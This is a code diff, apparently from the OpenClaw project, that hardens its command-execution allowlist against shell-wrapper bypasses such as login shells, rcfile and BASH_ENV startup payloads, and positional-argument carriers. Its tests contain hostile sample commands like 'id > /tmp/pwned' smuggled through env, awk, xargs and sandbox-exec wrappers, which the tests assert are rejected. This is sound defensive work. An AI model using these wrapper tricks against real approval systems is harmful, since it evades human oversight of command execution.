ExecCommandResolution.resolveForAllowlist( - command: ["/bin/sh", "-lc", fixture.command], + command: ["/bin/sh", "-c", fixture.command], rawCommand: fixture.command, cwd: nil, env: ["PATH": "/usr/bin:/bin"]) @@ -276,7 +395,7 @@ struct ExecAllowlistTests { let command = [ "/usr/bin/env", "/bin/sh", - "-lc", + "-c", "echo allowlisted && /usr/bin/touch /tmp/openclaw-allowlist-test", ] let resolutions = ExecCommandResolution.resolveForAllowlist( @@ -290,7 +409,7 @@ struct ExecAllowlistTests { } @Test func `resolve for allowlist unwraps env dispatch wrappers inside shell segments`() { - let command = ["/bin/sh", "-lc", "env /usr/bin/touch /tmp/openclaw-allowlist-test"] + let command = ["/bin/sh", "-c", "env /usr/bin/touch /tmp/openclaw-allowlist-test"] let resolutions = ExecCommandResolution.resolveForAllowlist( command: command, rawCommand: "env /usr/bin/touch /tmp/openclaw-allowlist-test", @@ -302,7 +421,7 @@ struct ExecAllowlistTests { } @Test func `resolve for allowlist preserves env assignments inside shell segments`() { - let command = ["/bin/sh", "-lc", "env FOO=bar /usr/bin/touch /tmp/openclaw-allowlist-test"] + let command = ["/bin/sh", "-c", "env FOO=bar /usr/bin/touch /tmp/openclaw-allowlist-test"] let resolutions = ExecCommandResolution.resolveForAllowlist( command: command, rawCommand: "env FOO=bar /usr/bin/touch /tmp/openclaw-allowlist-test", @@ -326,8 +445,8 @@ struct ExecAllowlistTests { } @Test func `approval evaluator resolves shell payload from canonical wrapper text`() async { - let command = ["/bin/sh", "-lc", "/usr/bin/printf ok"] - let rawCommand = "/bin/sh -lc \"/usr/bin/printf ok\"" + let command = ["/bin/sh", "-c", "/usr/bin/printf ok"] + let rawCommand = "/bin/sh -c \"/usr/bin/printf ok\"" let evaluation = await ExecApprovalEvaluator.evaluate( command: command, rawCommand: rawCommand, @@ -350,6 +469,32 @@ struct ExecAllowlistTests { #expect(patterns == ["/usr/bin/printf"]) } + @Test func `allow always patterns fail closed for env modified shell wrappers`() { + let patterns = ExecCommandResolution.resolveAllowAlwaysPatterns( + command: [ + "/usr/bin/env", + "BASH_ENV=/tmp/payload.sh", + "/bin/sh", + "-lc", + "/usr/bin/printf ok", + ], + cwd: nil, + env: ["PATH": "/usr/bin:/bin"], + rawCommand: "/usr/bin/printf ok") + + #expect(patterns.isEmpty) + } + + @Test func `allow always patterns preserve generated sh lc raw payload binding`() { + let patterns = ExecCommandResolution.resolveAllowAlwaysPatterns( + command: ["/bin/sh", "-lc", "/usr/bin/printf safe_marker"], + cwd: nil, + env: ["PATH": "/usr/bin:/bin"], + rawCommand: "/usr/bin/printf safe_marker") + + #expect(patterns == ["/usr/bin/printf"]) + } + @Test func `match all requires every segment to match`() { let first = ExecCommandResolution( rawExecutable: "echo", diff --git a/apps/macos/Tests/OpenClawIPCTests/ExecSystemRunCommandValidatorTests.swift b/apps/macos/Tests/OpenClawIPCTests/ExecSystemRunCommandValidatorTests.swift index 351eea52df5..b5cf277f579 100644 --- a/apps/macos/Tests/OpenClawIPCTests/ExecSystemRunCommandValidatorTests.swift +++ b/apps/macos/Tests/OpenClawIPCTests/ExecSystemRunCommandValidatorTests.swift @@ -85,6 +85,48 @@ struct ExecSystemRunCommandValidatorTests { } } + @Test func `fish attached c command requires canonical raw command binding`() { + let command = ["/usr/bin/fish", "-c/tmp/payload.fish", "/usr/bin/printf safe_marker"] + let result = ExecSystemRunCommandValidator.resolve( + command: command, + rawCommand: "/usr/bin/printf safe_marker") + + switch result { + case .ok: + Issue.record("expected rawCommand mismatch for attached fish command payload") + case let .invalid(message): + #expect(message.contains("rawCommand does not match command")) + } + } + + @Test func `startup shell wrappers require canonical raw command binding`() { + for command in [ + ["/bin/bash", "-lc", "/usr/bin/printf safe_marker"], + ["/bin/bash", "--rcfile", "/tmp/payload.sh", "-i", "-c", "/usr/bin/printf safe_marker"], + ["/bin/bash", "--login", "-c", "/usr/bin/printf safe_marker"], + ["/usr/bin/fish", "--init-command=/tmp/payload.fish", "-c", "/usr/bin/printf safe_marker"], + ] { + let legacy = ExecSystemRunCommandValidator.resolve( + command: command, + rawCommand: "/usr/bin/printf safe_marker") + switch legacy { + case .ok: + Issue.record("expected rawCommand mismatch for startup shell wrapper") + case let .invalid(message): + #expect(message.contains("rawCommand does not match command")) + } + + let canonicalRaw = ExecCommandFormatter.displayString(for: command) + let canonical = ExecSystemRunCommandValidator.resolve(command: command, rawCommand: canonicalRaw) + switch canonical { + case let .ok(resolved): + #expect(resolved.displayCommand == canonicalRaw) + case let .invalid(message): + Issue.record("unexpected invalid result for canonical raw command: \(message)") + } + } + } + private static func loadContractCases() throws -> [SystemRunCommandContractCase] { let fixtureURL = try self.findContractFixtureURL() let data = try Data(contentsOf: fixtureURL) diff --git a/src/infra/command-explainer/extract.ts b/src/infra/command-explainer/extract.ts index 02097f13f58..6fd8bd1a64b 100644 --- a/src/infra/command-explainer/extract.ts +++ b/src/infra/command-explainer/extract.ts @@ -10,6 +10,7 @@ import { import { normalizeExecutableToken } from "../exec-wrapper-resolution.js"; import { extractShellWrapperCommand, + extractShellWrapperInlineCommand, isShellWrapperExecutable, POSIX_SHELL_WRAPPERS, resolveShellWrapperTransportArgv, @@ -876,14 +877,11 @@ function shellWrapperPayloadForParsing( dynamicArguments: DynamicArgument[], ): { command: string; spanBase: SpanBase } | null { const shellWrapper = extractShellWrapperCommand(argv); - if ( - !shellWrapper.isWrapper || - !shellWrapper.command || - isDynamicPayload(shellWrapper.command, dynamicArguments) - ) { + const payload = shellWrapper.command ?? extractShellWrapperInlineCommand(argv); + if (!shellWrapper.isWrapper || !payload || isDynamicPayload(payload, dynamicArguments)) { return null; } - const spanBase = payloadBaseFromArguments(shellWrapper.command, argumentsList); + const spanBase = payloadBaseFromArguments(payload, argumentsList); if (!spanBase) { return null; } @@ -892,7 +890,7 @@ function shellWrapperPayloadForParsing( if (!canParseShellWrapperPayload(transportArgv, commandFlag?.flag ?? null)) { return null; } - return { command: shellWrapper.command, spanBase }; + return { command: payload, spanBase }; } type InlineEvalHit = InterpreterInlineEvalHit; @@ -947,7 +945,8 @@ function recordCommandRisks( } const shellWrapper = extractShellWrapperCommand(argv); - if (shellWrapper.isWrapper && shellWrapper.command) { + const shellWrapperPayload = shellWrapper.command ?? extractShellWrapperInlineCommand(argv); + if (shellWrapper.isWrapper && shellWrapperPayload) { const transportArgv = resolveShellWrapperTransportArgv(argv) ?? argv; const shellExecutable = transportArgv[0] ?? executable; const commandFlag = shellCommandFlag(transportArgv, 1) ?? shellCommandFlag(argv, 1); @@ -956,7 +955,7 @@ function recordCommandRisks( kind: "shell-wrapper", executable: shellExecutable, flag: commandFlag?.flag ?? "-c", - payload: shellWrapper.command, + payload: shellWrapperPayload, text, span, }); diff --git a/src/infra/exec-approvals-allow-always.test.ts b/src/infra/exec-approvals-allow-always.test.ts index 1f19e0b4cff..644c7dc302e 100644 --- a/src/infra/exec-approvals-allow-always.test.ts +++ b/src/infra/exec-approvals-allow-always.test.ts @@ -324,8 +324,8 @@ describe("resolveAllowAlwaysPatterns", () => { const patterns = resolveAllowAlwaysPatterns({ segments: [ { - raw: "/bin/zsh -lc 'whoami'", - argv: ["/bin/zsh", "-lc", "whoami"], + raw: "/bin/zsh -c 'whoami'", + argv: ["/bin/zsh", "-c", "whoami"], resolution: makeMockCommandResolution({ execution: makeMockExecutableResolution({ rawExecutable: "/bin/zsh", @@ -353,8 +353,8 @@ describe("resolveAllowAlwaysPatterns", () => { const patterns = resolveAllowAlwaysPatterns({ segments: [ { - raw: "/bin/zsh -lc 'whoami && ls && whoami'", - argv: ["/bin/zsh", "-lc", "whoami && ls && whoami"], + raw: "/bin/zsh -c 'whoami && ls && whoami'", + argv: ["/bin/zsh", "-c", "whoami && ls && whoami"], resolution: makeMockCommandResolution({ execution: makeMockExecutableResolution({ rawExecutable: "/bin/zsh", @@ -437,12 +437,49 @@ describe("resolveAllowAlwaysPatterns", () => { } }); + it("rejects startup shell inline payloads for allow-always and inline-chain allowlist fallback", () => { + if (process.platform === "win32") { + return; + } + const dir = makeTempDir(); + const tool = makeExecutable(dir, "openclaw-ok"); + const env = { PATH: `${dir}${path.delimiter}${process.env.PATH ?? ""}` }; + const safeBins = resolveSafeBins(undefined); + + for (const command of [ + `bash --login -c "openclaw-ok && openclaw-ok"`, + `bash -i -c "openclaw-ok && openclaw-ok"`, + `bash -lc "openclaw-ok && openclaw-ok"`, + `bash --login -c '$0 "$1"' ${tool} marker`, + `bash -i -c '$0 "$1"' ${tool} marker`, + `bash -lc '$0 "$1"' ${tool} marker`, + ]) { + const { persisted } = resolvePersistedPatterns({ + command, + dir, + env, + safeBins, + }); + expect(persisted).toEqual([]); + + const second = evaluateShellAllowlist({ + command, + allowlist: [{ pattern: tool }], + safeBins, + cwd: dir, + env, + platform: process.platform, + }); + expect(second.allowlistSatisfied).toBe(false); + } + }); + it("rejects shell-wrapper positional argv carriers", () => { if (process.platform === "win32") { return; } expectPositionalArgvCarrierResult({ - command: `sh -lc '$0 "$1"' touch {marker}`, + command: `sh -c '$0 "$1"' touch {marker}`, expectPersisted: true, }); }); @@ -452,7 +489,7 @@ describe("resolveAllowAlwaysPatterns", () => { return; } expectPositionalArgvCarrierResult({ - command: `sh -lc 'exec -- "$0" "$1"' touch {marker}`, + command: `sh -c 'exec -- "$0" "$1"' touch {marker}`, expectPersisted: true, }); }); @@ -462,7 +499,7 @@ describe("resolveAllowAlwaysPatterns", () => { return; } expectPositionalArgvCarrierResult({ - command: `sh -lc "'$0' "$1"" touch {marker}`, + command: `sh -c "'$0' "$1"" touch {marker}`, expectPersisted: false, }); }); @@ -472,7 +509,7 @@ describe("resolveAllowAlwaysPatterns", () => { return; } expectPositionalArgvCarrierResult({ - command: `sh -lc "exec + command: `sh -c "exec $0 \\"$1\\"" touch {marker}`, expectPersisted: false, }); @@ -489,7 +526,7 @@ $0 \\"$1\\"" touch {marker}`, const marker = path.join(dir, "marker"); const { persisted } = resolvePersistedPatterns({ - command: `sh -lc 'echo blocked; $0 "$1"' touch ${marker}`, + command: `sh -c 'echo blocked; $0 "$1"' touch ${marker}`, dir, env, safeBins, @@ -497,7 +534,7 @@ $0 \\"$1\\"" touch {marker}`, expect(persisted).not.toContain(touch); const second = evaluateShellAllowlist({ - command: `sh -lc 'echo blocked; $0 "$1"' touch ${marker}`, + command: `sh -c 'echo blocked; $0 "$1"' touch ${marker}`, allowlist: [{ pattern: touch }], safeBins, cwd: dir, @@ -515,7 +552,7 @@ $0 \\"$1\\"" touch {marker}`, expectAllowAlwaysBypassBlocked({ dir, firstCommand: "bash scripts/save_crystal.sh", - secondCommand: "bash -lc 'scripts/save_crystal.sh'", + secondCommand: "bash -c 'scripts/save_crystal.sh'", env, persistedPattern: script, }); @@ -564,8 +601,8 @@ $0 \\"$1\\"" touch {marker}`, const patterns = resolveAllowAlwaysPatterns({ segments: [ { - raw: "/usr/local/bin/zsh -lc whoami", - argv: ["/usr/local/bin/zsh", "-lc", "whoami"], + raw: "/usr/local/bin/zsh -c whoami", + argv: ["/usr/local/bin/zsh", "-c", "whoami"], resolution: makeMockCommandResolution({ execution: makeMockExecutableResolution({ rawExecutable: "/usr/local/bin/zsh", @@ -591,8 +628,8 @@ $0 \\"$1\\"" touch {marker}`, const patterns = resolveAllowAlwaysPatterns({ segments: [ { - raw: "/usr/bin/nice /bin/zsh -lc whoami", - argv: ["/usr/bin/nice", "/bin/zsh", "-lc", "whoami"], + raw: "/usr/bin/nice /bin/zsh -c whoami", + argv: ["/usr/bin/nice", "/bin/zsh", "-c", "whoami"], resolution: makeMockCommandResolution({ execution: makeMockExecutableResolution({ rawExecutable: "/usr/bin/nice", @@ -619,8 +656,8 @@ $0 \\"$1\\"" touch {marker}`, const patterns = resolveAllowAlwaysPatterns({ segments: [ { - raw: "/usr/bin/time -p /bin/zsh -lc whoami", - argv: ["/usr/bin/time", "-p", "/bin/zsh", "-lc", "whoami"], + raw: "/usr/bin/time -p /bin/zsh -c whoami", + argv: ["/usr/bin/time", "-p", "/bin/zsh", "-c", "whoami"], resolution: makeMockCommandResolution({ execution: makeMockExecutableResolution({ rawExecutable: "/usr/bin/time", @@ -650,8 +687,8 @@ $0 \\"$1\\"" touch {marker}`, const patterns = resolveAllowAlwaysPatterns({ segments: [ { - raw: `${busybox} sh -lc whoami`, - argv: [busybox, "sh", "-lc", "whoami"], + raw: `${busybox} sh -c whoami`, + argv: [busybox, "sh", "-c", "whoami"], resolution: makeMockCommandResolution({ execution: makeMockExecutableResolution({ rawExecutable: busybox, @@ -744,8 +781,8 @@ $0 \\"$1\\"" touch {marker}`, const env = makePathEnv(dir); expectAllowAlwaysBypassBlocked({ dir, - firstCommand: "/usr/bin/caffeinate -d -w 42 /bin/zsh -lc 'echo warmup-ok'", - secondCommand: "/usr/bin/caffeinate -d -w 42 /bin/zsh -lc 'id > marker'", + firstCommand: "/usr/bin/caffeinate -d -w 42 /bin/zsh -c 'echo warmup-ok'", + secondCommand: "/usr/bin/caffeinate -d -w 42 /bin/zsh -c 'id > marker'", env, persistedPattern: echo, }); @@ -761,8 +798,8 @@ $0 \\"$1\\"" touch {marker}`, const env = makePathEnv(dir); expectAllowAlwaysBypassBlocked({ dir, - firstCommand: "/usr/bin/nice /bin/zsh -lc 'echo warmup-ok'", - secondCommand: "/usr/bin/nice /bin/zsh -lc 'id > marker'", + firstCommand: "/usr/bin/nice /bin/zsh -c 'echo warmup-ok'", + secondCommand: "/usr/bin/nice /bin/zsh -c 'id > marker'", env, persistedPattern: echo, }); @@ -779,8 +816,8 @@ $0 \\"$1\\"" touch {marker}`, expectAllowAlwaysBypassBlocked({ dir, firstCommand: - "/usr/bin/sandbox-exec -p '(deny default) (allow process*)' /bin/zsh -lc 'echo warmup-ok'", - secondCommand: "/usr/bin/sandbox-exec -p '(allow default)' /bin/zsh -lc 'id > marker'", + "/usr/bin/sandbox-exec -p '(deny default) (allow process*)' /bin/zsh -c 'echo warmup-ok'", + secondCommand: "/usr/bin/sandbox-exec -p '(allow default)' /bin/zsh -c 'id > marker'", env, persistedPattern: echo, }); @@ -796,8 +833,8 @@ $0 \\"$1\\"" touch {marker}`, const env = makePathEnv(dir); expectAllowAlwaysBypassBlocked({ dir, - firstCommand: "/usr/bin/time -p /bin/zsh -lc 'echo warmup-ok'", - secondCommand: "/usr/bin/time -p /bin/zsh -lc 'id > marker'", + firstCommand: "/usr/bin/time -p /bin/zsh -c 'echo warmup-ok'", + secondCommand: "/usr/bin/time -p /bin/zsh -c 'id > marker'", env, persistedPattern: echo, }); @@ -813,15 +850,15 @@ $0 \\"$1\\"" touch {marker}`, const env = makePathEnv(dir); expectAllowAlwaysBypassBlocked({ dir, - firstCommand: "/usr/bin/arch -arm64 /bin/zsh -lc 'echo warmup-ok'", - secondCommand: "/usr/bin/arch -arm64 /bin/zsh -lc 'id > marker-arch'", + firstCommand: "/usr/bin/arch -arm64 /bin/zsh -c 'echo warmup-ok'", + secondCommand: "/usr/bin/arch -arm64 /bin/zsh -c 'id > marker-arch'", env, persistedPattern: echo, }); expectAllowAlwaysBypassBlocked({ dir, - firstCommand: "/usr/bin/xcrun /bin/zsh -lc 'echo warmup-ok'", - secondCommand: "/usr/bin/xcrun /bin/zsh -lc 'id > marker-xcrun'", + firstCommand: "/usr/bin/xcrun /bin/zsh -c 'echo warmup-ok'", + secondCommand: "/usr/bin/xcrun /bin/zsh -c 'id > marker-xcrun'", env, persistedPattern: echo, }); @@ -873,7 +910,7 @@ $0 \\"$1\\"" touch {marker}`, const safeBins = resolveSafeBins(undefined); const { persisted } = resolvePersistedPatterns({ - command: `sh -lc '$0 "$@"' awk '{print $1}' data.csv`, + command: `sh -c '$0 "$@"' awk '{print $1}' data.csv`, dir, env, safeBins, @@ -881,7 +918,7 @@ $0 \\"$1\\"" touch {marker}`, expect(persisted).toEqual([]); const second = evaluateShellAllowlist({ - command: `sh -lc '$0 "$@"' awk 'BEGIN{system("id > /tmp/pwned")}'`, + command: `sh -c '$0 "$@"' awk 'BEGIN{system("id > /tmp/pwned")}'`, allowlist: persisted.map((pattern) => ({ pattern })), safeBins, cwd: dir, @@ -901,8 +938,8 @@ $0 \\"$1\\"" touch {marker}`, const env = makePathEnv(dir); expectAllowAlwaysBypassBlocked({ dir, - firstCommand: "/usr/bin/script -q /dev/null /bin/sh -lc 'echo warmup-ok'", - secondCommand: "/usr/bin/script -q /dev/null /bin/sh -lc 'id > marker'", + firstCommand: "/usr/bin/script -q /dev/null /bin/sh -c 'echo warmup-ok'", + secondCommand: "/usr/bin/script -q /dev/null /bin/sh -c 'id > marker'", env, persistedPattern: echo, }); @@ -935,7 +972,7 @@ $0 \\"$1\\"" touch {marker}`, const safeBins = resolveSafeBins(undefined); const { persisted } = resolvePersistedPatterns({ - command: `sh -lc '$0 "$@"' env echo SAFE`, + command: `sh -c '$0 "$@"' env echo SAFE`, dir, env, safeBins, @@ -943,7 +980,7 @@ $0 \\"$1\\"" touch {marker}`, expect(persisted).toEqual([]); const second = evaluateShellAllowlist({ - command: `sh -lc '$0 "$@"' env BASH_ENV=/tmp/payload.sh bash -lc 'id > /tmp/pwned'`, + command: `sh -c '$0 "$@"' env BASH_ENV=/tmp/payload.sh bash -c 'id > /tmp/pwned'`, allowlist: [{ pattern: envPath }], safeBins, cwd: dir, @@ -963,7 +1000,7 @@ $0 \\"$1\\"" touch {marker}`, const safeBins = resolveSafeBins(undefined); const { persisted } = resolvePersistedPatterns({ - command: `sh -lc '$0 "$@"' bash -lc 'echo safe'`, + command: `sh -c '$0 "$@"' bash -c 'echo safe'`, dir, env, safeBins, @@ -971,7 +1008,7 @@ $0 \\"$1\\"" touch {marker}`, expect(persisted).toEqual([]); const second = evaluateShellAllowlist({ - command: `sh -lc '$0 "$@"' bash -lc 'id > /tmp/pwned'`, + command: `sh -c '$0 "$@"' bash -c 'id > /tmp/pwned'`, allowlist: [{ pattern: bashPath }], safeBins, cwd: dir, @@ -991,7 +1028,7 @@ $0 \\"$1\\"" touch {marker}`, const safeBins = resolveSafeBins(undefined); const { persisted } = resolvePersistedPatterns({ - command: `sh -lc '$0 "$@"' xargs echo SAFE`, + command: `sh -c '$0 "$@"' xargs echo SAFE`, dir, env, safeBins, @@ -999,7 +1036,7 @@ $0 \\"$1\\"" touch {marker}`, expect(persisted).toEqual([]); const second = evaluateShellAllowlist({ - command: `sh -lc '$0 "$@"' xargs sh -lc 'id > /tmp/pwned'`, + command: `sh -c '$0 "$@"' xargs sh -c 'id > /tmp/pwned'`, allowlist: [{ pattern: xargsPath }], safeBins, cwd: dir, diff --git a/src/infra/exec-approvals-allowlist.ts b/src/infra/exec-approvals-allowlist.ts index 01a436f43b2..1414915c3f3 100644 --- a/src/infra/exec-approvals-allowlist.ts +++ b/src/infra/exec-approvals-allowlist.ts @@ -32,7 +32,7 @@ import { } from "./exec-safe-bin-policy.js"; import { isTrustedSafeBinPath } from "./exec-safe-bin-trust.js"; import { - extractShellWrapperInlineCommand, + extractBindableShellWrapperInlineCommand, isShellWrapperExecutable, normalizeExecutableToken, POWERSHELL_WRAPPERS, @@ -426,7 +426,7 @@ function resolveSegmentAllowlistMatch(params: { candidatePath && executableResolution ? { ...executableResolution, resolvedPath: candidatePath } : executableResolution; - const inlineCommand = extractShellWrapperInlineCommand(allowlistSegment.argv); + const inlineCommand = extractBindableShellWrapperInlineCommand(allowlistSegment.argv); const isPositionalCarrierInvocation = inlineCommand !== null && isDirectShellPositionalCarrierInvocation(inlineCommand); const executableMatch = isPositionalCarrierInvocation @@ -437,11 +437,14 @@ function resolveSegmentAllowlistMatch(params: { effectiveArgv, params.context.platform, ); - const shellPositionalArgvCandidatePath = resolveShellWrapperPositionalArgvCandidatePath({ - segment: allowlistSegment, - cwd: params.context.cwd, - env: params.context.env, - }); + const shellPositionalArgvCandidatePath = + inlineCommand !== null + ? resolveShellWrapperPositionalArgvCandidatePath({ + segment: allowlistSegment, + cwd: params.context.cwd, + env: params.context.env, + }) + : undefined; const shellPositionalArgvMatch = shellPositionalArgvCandidatePath ? matchAllowlist( params.context.allowlist, @@ -971,15 +974,6 @@ function collectAllowAlwaysPatterns(params: { addAllowAlwaysPattern(params.out, candidatePath, argPattern); return; } - const positionalArgvPath = resolveShellWrapperPositionalArgvCandidatePath({ - segment, - cwd: params.cwd, - env: params.env, - }); - if (positionalArgvPath) { - addAllowAlwaysPattern(params.out, positionalArgvPath); - return; - } const isPowerShellFileInvocation = POWERSHELL_WRAPPERS.has(normalizeExecutableToken(segment.argv[0] ?? "")) && segment.argv.some((t) => { @@ -990,9 +984,19 @@ function collectAllowAlwaysPatterns(params: { const lower = normalizeLowercaseStringOrEmpty(t); return lower === "-command" || lower === "-c" || lower === "--command"; }); - const inlineCommand = isPowerShellFileInvocation - ? null - : (trustPlan.shellInlineCommand ?? extractShellWrapperInlineCommand(segment.argv)); + const inlineCommand = isPowerShellFileInvocation ? null : trustPlan.shellInlineCommand; + const positionalArgvPath = + inlineCommand !== null + ? resolveShellWrapperPositionalArgvCandidatePath({ + segment, + cwd: params.cwd, + env: params.env, + }) + : undefined; + if (positionalArgvPath) { + addAllowAlwaysPattern(params.out, positionalArgvPath); + return; + } if (!inlineCommand) { const scriptPath = resolveShellWrapperScriptCandidatePath({ segment, diff --git a/src/infra/exec-wrapper-resolution.test.ts b/src/infra/exec-wrapper-resolution.test.ts index 32d87d73bdc..94f64d900c3 100644 --- a/src/infra/exec-wrapper-resolution.test.ts +++ b/src/infra/exec-wrapper-resolution.test.ts @@ -471,12 +471,12 @@ describe("extractShellWrapperCommand", () => { { argv: ["bash", "-lc", "echo hi"], expectedInline: "echo hi", - expectedCommand: { isWrapper: true, command: "echo hi" }, + expectedCommand: { isWrapper: true, command: null }, }, { argv: ["busybox", "sh", "-lc", "echo hi"], expectedInline: "echo hi", - expectedCommand: { isWrapper: true, command: "echo hi" }, + expectedCommand: { isWrapper: true, command: null }, }, { argv: ["env", "--", "pwsh", "-Command", "Get-Date"], @@ -494,7 +494,7 @@ describe("extractShellWrapperCommand", () => { }); test("prefers an explicit raw command override when provided", () => { - expect(extractShellWrapperCommand(["bash", "-lc", "echo hi"], " run this instead ")).toEqual({ + expect(extractShellWrapperCommand(["bash", "-c", "echo hi"], " run this instead ")).toEqual({ isWrapper: true, command: "run this instead", }); diff --git a/src/infra/exec-wrapper-resolution.ts b/src/infra/exec-wrapper-resolution.ts index 91ca1e3a4c9..2f8b89d7b1e 100644 --- a/src/infra/exec-wrapper-resolution.ts +++ b/src/infra/exec-wrapper-resolution.ts @@ -8,9 +8,11 @@ export { unwrapKnownDispatchWrapperInvocation, } from "./dispatch-wrapper-resolution.js"; export { + extractBindableShellWrapperInlineCommand, extractShellWrapperCommand, extractShellWrapperInlineCommand, hasEnvManipulationBeforeShellWrapper, + isBlockedShellWrapperCommand, isShellWrapperExecutable, isShellWrapperInvocation, POSIX_SHELL_WRAPPERS, diff --git a/src/infra/exec-wrapper-trust-plan.test.ts b/src/infra/exec-wrapper-trust-plan.test.ts index f07b11290a9..c6cad59b5a2 100644 --- a/src/infra/exec-wrapper-trust-plan.test.ts +++ b/src/infra/exec-wrapper-trust-plan.test.ts @@ -6,10 +6,10 @@ describe("resolveExecWrapperTrustPlan", () => { { name: "unwraps transparent caffeinate wrappers before shell policy checks", enabled: process.platform !== "win32", - argv: ["/usr/bin/caffeinate", "-d", "-w", "42", "sh", "-lc", "echo hi"], + argv: ["/usr/bin/caffeinate", "-d", "-w", "42", "sh", "-c", "echo hi"], expected: { - argv: ["sh", "-lc", "echo hi"], - policyArgv: ["sh", "-lc", "echo hi"], + argv: ["sh", "-c", "echo hi"], + policyArgv: ["sh", "-c", "echo hi"], wrapperChain: ["caffeinate"], policyBlocked: false, shellWrapperExecutable: true, @@ -19,10 +19,10 @@ describe("resolveExecWrapperTrustPlan", () => { { name: "unwraps dispatch wrappers and shell multiplexers into one trust plan", enabled: process.platform !== "win32", - argv: ["/usr/bin/time", "-p", "busybox", "sh", "-lc", "echo hi"], + argv: ["/usr/bin/time", "-p", "busybox", "sh", "-c", "echo hi"], expected: { - argv: ["sh", "-lc", "echo hi"], - policyArgv: ["busybox", "sh", "-lc", "echo hi"], + argv: ["sh", "-c", "echo hi"], + policyArgv: ["busybox", "sh", "-c", "echo hi"], wrapperChain: ["time", "busybox"], policyBlocked: false, shellWrapperExecutable: true, @@ -32,10 +32,10 @@ describe("resolveExecWrapperTrustPlan", () => { { name: "unwraps script wrappers before evaluating nested shell payloads", enabled: process.platform === "darwin" || process.platform === "freebsd", - argv: ["/usr/bin/script", "-q", "/dev/null", "sh", "-lc", "echo hi"], + argv: ["/usr/bin/script", "-q", "/dev/null", "sh", "-c", "echo hi"], expected: { - argv: ["sh", "-lc", "echo hi"], - policyArgv: ["sh", "-lc", "echo hi"], + argv: ["sh", "-c", "echo hi"], + policyArgv: ["sh", "-c", "echo hi"], wrapperChain: ["script"], policyBlocked: false, shellWrapperExecutable: true, @@ -45,16 +45,29 @@ describe("resolveExecWrapperTrustPlan", () => { { name: "unwraps sandbox-exec wrappers before evaluating nested shell payloads", enabled: process.platform !== "win32", - argv: ["/usr/bin/sandbox-exec", "-p", "(allow default)", "sh", "-lc", "echo hi"], + argv: ["/usr/bin/sandbox-exec", "-p", "(allow default)", "sh", "-c", "echo hi"], expected: { - argv: ["sh", "-lc", "echo hi"], - policyArgv: ["sh", "-lc", "echo hi"], + argv: ["sh", "-c", "echo hi"], + policyArgv: ["sh", "-c", "echo hi"], wrapperChain: ["sandbox-exec"], policyBlocked: false, shellWrapperExecutable: true, shellInlineCommand: "echo hi", }, }, + { + name: "omits startup shell inline payloads from trust plans", + enabled: process.platform !== "win32", + argv: ["bash", "--login", "-c", "echo hi"], + expected: { + argv: ["bash", "--login", "-c", "echo hi"], + policyArgv: ["bash", "--login", "-c", "echo hi"], + wrapperChain: [], + policyBlocked: false, + shellWrapperExecutable: true, + shellInlineCommand: null, + }, + }, { name: "fails closed for unsupported shell multiplexer applets", enabled: true, diff --git a/src/infra/exec-wrapper-trust-plan.ts b/src/infra/exec-wrapper-trust-plan.ts index bad51530746..04c90681294 100644 --- a/src/infra/exec-wrapper-trust-plan.ts +++ b/src/infra/exec-wrapper-trust-plan.ts @@ -4,7 +4,7 @@ import { unwrapKnownDispatchWrapperInvocation, } from "./dispatch-wrapper-resolution.js"; import { - extractShellWrapperInlineCommand, + extractBindableShellWrapperInlineCommand, isShellWrapperExecutable, unwrapKnownShellMultiplexerInvocation, } from "./shell-wrapper-resolution.js"; @@ -46,15 +46,20 @@ function finalizeExecWrapperTrustPlan( const rawExecutable = argv[0]?.trim() ?? ""; const shellWrapperExecutable = !policyBlocked && rawExecutable.length > 0 && isShellWrapperExecutable(rawExecutable); - return { + const plan: ExecWrapperTrustPlan = { argv, policyArgv, wrapperChain, policyBlocked, - blockedWrapper, shellWrapperExecutable, - shellInlineCommand: shellWrapperExecutable ? extractShellWrapperInlineCommand(argv) : null, + shellInlineCommand: shellWrapperExecutable + ? extractBindableShellWrapperInlineCommand(argv) + : null, }; + if (blockedWrapper !== undefined) { + plan.blockedWrapper = blockedWrapper; + } + return plan; } export function resolveExecWrapperTrustPlan( diff --git a/src/infra/shell-inline-command.test.ts b/src/infra/shell-inline-command.test.ts index 4cea7c67c43..7ffe08c43b9 100644 --- a/src/infra/shell-inline-command.test.ts +++ b/src/infra/shell-inline-command.test.ts @@ -38,6 +38,20 @@ describe("resolveInlineCommandMatch", () => { opts: { allowCombinedC: true }, expected: { command: "echo hi", valueTokenIndex: 1 }, }, + { + name: "keeps post-c no-argument shell flags separate from the command", + argv: ["bash", "-cx", "echo hi"], + flags: POSIX_INLINE_COMMAND_FLAGS, + opts: { allowCombinedC: true }, + expected: { command: "echo hi", valueTokenIndex: 2 }, + }, + { + name: "keeps post-c stdin shell flags separate from the command", + argv: ["bash", "-cs", "echo hi"], + flags: POSIX_INLINE_COMMAND_FLAGS, + opts: { allowCombinedC: true }, + expected: { command: "echo hi", valueTokenIndex: 2 }, + }, { name: "rejects combined -c forms when disabled", argv: ["sh", "-cecho hi"], diff --git a/src/infra/shell-inline-command.ts b/src/infra/shell-inline-command.ts index 13690e41e4e..56dd7224dbf 100644 --- a/src/infra/shell-inline-command.ts +++ b/src/infra/shell-inline-command.ts @@ -12,35 +12,212 @@ export const POWERSHELL_INLINE_COMMAND_FLAGS = new Set([ "-e", ]); +const POSIX_SHELL_OPTIONS_WITH_SEPARATE_VALUES = new Set([ + "--init-file", + "--rcfile", + "-O", + "-o", + "+O", + "+o", +]); + +function isCombinedCommandFlag(token: string): boolean { + return parseCombinedCommandFlag(token) !== null; +} + +function parseCombinedCommandFlag( + token: string, +): { attachedCommand: string | null; separateValueCount: number } | null { + if (token.length < 2 || token[0] !== "-" || token[1] === "-") { + return null; + } + const optionChars = token.slice(1); + const commandFlagIndex = optionChars.indexOf("c"); + if (commandFlagIndex === -1 || optionChars.includes("-")) { + return null; + } + const suffix = optionChars.slice(commandFlagIndex + 1); + if (suffix && !/^[A-Za-z]+$/.test(suffix)) { + return { attachedCommand: suffix, separateValueCount: 0 }; + } + return { + attachedCommand: null, + separateValueCount: [...optionChars].filter((char) => char === "o" || char === "O").length, + }; +} + +function combinedSeparateValueOptionCount(token: string): number { + if ( + token.length < 2 || + (token[0] !== "-" && token[0] !== "+") || + token[1] === "-" || + token.slice(1).includes("-") + ) { + return 0; + } + return [...token.slice(1)].filter((char) => char === "o" || char === "O").length; +} + +function consumesSeparateValue(token: string): boolean { + return POSIX_SHELL_OPTIONS_WITH_SEPARATE_VALUES.has(token); +} + +function isPosixInteractiveModeOption(token: string): boolean { + return token === "--interactive" || isPosixShortOption(token, 